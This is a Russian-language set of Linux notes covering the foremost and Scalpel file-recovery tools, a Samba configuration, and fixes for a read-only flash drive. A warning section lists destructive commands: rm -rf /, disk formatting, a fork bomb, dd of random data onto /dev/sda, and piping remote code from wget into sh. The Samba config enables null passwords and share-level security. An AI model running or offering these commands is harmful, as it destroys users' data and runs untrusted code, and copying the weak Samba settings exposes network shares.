foremost - Восстоновление данных

Взято http://linux.die.net/man/1/foremost

Recover files from a disk image based on headers and footers specified by the user.

-h - Показать справку
-V - Показать информацию об авторских правах
-d - Turn on indirect block detection, this works well for Unix file systems.
-T - Time stamp the output directory so you don't have to delete the output dir when running multiple times.
-v - Подробная информация о программе
-q - Быстрый поиск, ищутся файлы с длинными заголовками, может пропустить файлы. неподходит для NTFS
-Q - Скрытый режим, подавление большинства сообщений об ошибках
-w - только поиск файлов, ничего не восстановит
-a -
-b number
Allows you to specify the block size used in foremost. This is relevant for file naming and quick searches. The default is 512. ie. foremost -b 1024 image.dd

Что не нужно выполнять в linux

Первая и самая известная команда: rm -rf /. Введенная от имени суперпользователя, рекурсивно удалит все файлы.

Намного быстрее форматирование: mkfs.ext3 /dev/sda. Эта команда уничтожит все файлы на диске /dev/sda.

Прием, известный как forkbomb (от системного вызова fork(), который ветвит текущий процесс). Достаточно набрать в консоли :(){:|:&};: и вся память заполнится копиями процессов, результатом чего будет зависание. Особо интересный эффект можно получить, поместив данную команду в сценарии загрузки.

Следующая команда портит жесткий диск /dev/sda: любая_команда > /dev/sda. Если вызванная команда выводит какие-либо данные, то они будут перенаправлены прямиком в начало диска, что приведет к потере данных.

Вредоносный код можно разместить в интернете и вызвать его удалённо командой, которая, на первый взгляд, не вызывает никаких подозрений: wget http://некоторый_вредоносный_код -O- | sh

Шестой способ вредительства заключается в том, чтобы отправить все файлы в "черную дыру" /dev/null. Сделать это можно следующим образом: mv /home/my_home_directory/* /dev/null

И последний способ, который делает невозможным восстановление утерянных данных:
dd if=/dev/urandom of=/dev/sda. В этом случае диск заполняется случайными данными.

Восстановление данных - Scalpel

взято от сюда - http://www.digitalforensicssolutions.com/Scalpel/

Scalpel — это средство быстрого восстановления файлов. Уникальность данного ПО заключается в том, что оно не зависит от файловой системы. Программа ищет по базе данных начало и конец файлов известных форматов и пытается найти их на диске. Поэтому, восстановление возможно как с FATx, NTFS, ext2/3, так и с "голых" (raw) разделов.

apt-get install scalpel

Затем необходимо указать в файле /etc/scalpel/scalpel.conf типы файлов, которые Scalpel будет искать. По-умолчанию, все типы закомментированы.

Далее необходимо дать команду на восстановление:

scalpel /dev/sda1 -o output

Опция "-o" задает директорию, куда надо поместить восстановленные файлы. После окончания работы в директории output будет создан, в том числе, файл audit.txt, содержащий отчет.

Samba конфиг

Хорошая статья по Samba http://linuxforum.ru/viewtopic.php?id=3062

[global]
netbios name = neon
#netbios aliases = parazit
interfaces = 192.168.10.22/255.255.252.0
display charset = UTF8
#printing = lprng
domain master = false
load printers = no
preferred master = true
max connections = 5
max open files = 1000
max smbd processes = 10
# root preexec = /check_smbclient_shares.sh
unix charset = UTF8
security = SHARE
local master = no
min passwd length = 0
null passwords = yes
log file = /var/log/samba/%m.log
dead time = 1
server string = TTLx7
max log size = 5000
hosts allow = 192.168.10., 192.168.8.
dos charset = cp866
#cp866
os level = 35
template homedir = /home/%D/
dns proxy = no
workgroup = AVT_DOMAIN
encrypt passwords = yes
socket options = IPTOS_LOWDELAY TCP_NODELAY
debug level=1
level2 oplocks = true
read raw = no
hosts deny = all,192.168.8.185

Flash disk read only?

столкнулся с проблемой, после нескольких манипуляций с флешкой, (форматирование, разбиение на
раздлы), она стала ReadOnly и всяческое форматирование не помогало, не завершалось, с ошибкой flash Read only..

вот несколько программ, которые помогли оживить флешку:
JetFlash Recovery лучшая! именно она и помогла =)
Flashnul 1rc dos програмка, всевозможно тестирует
HP windows format utilite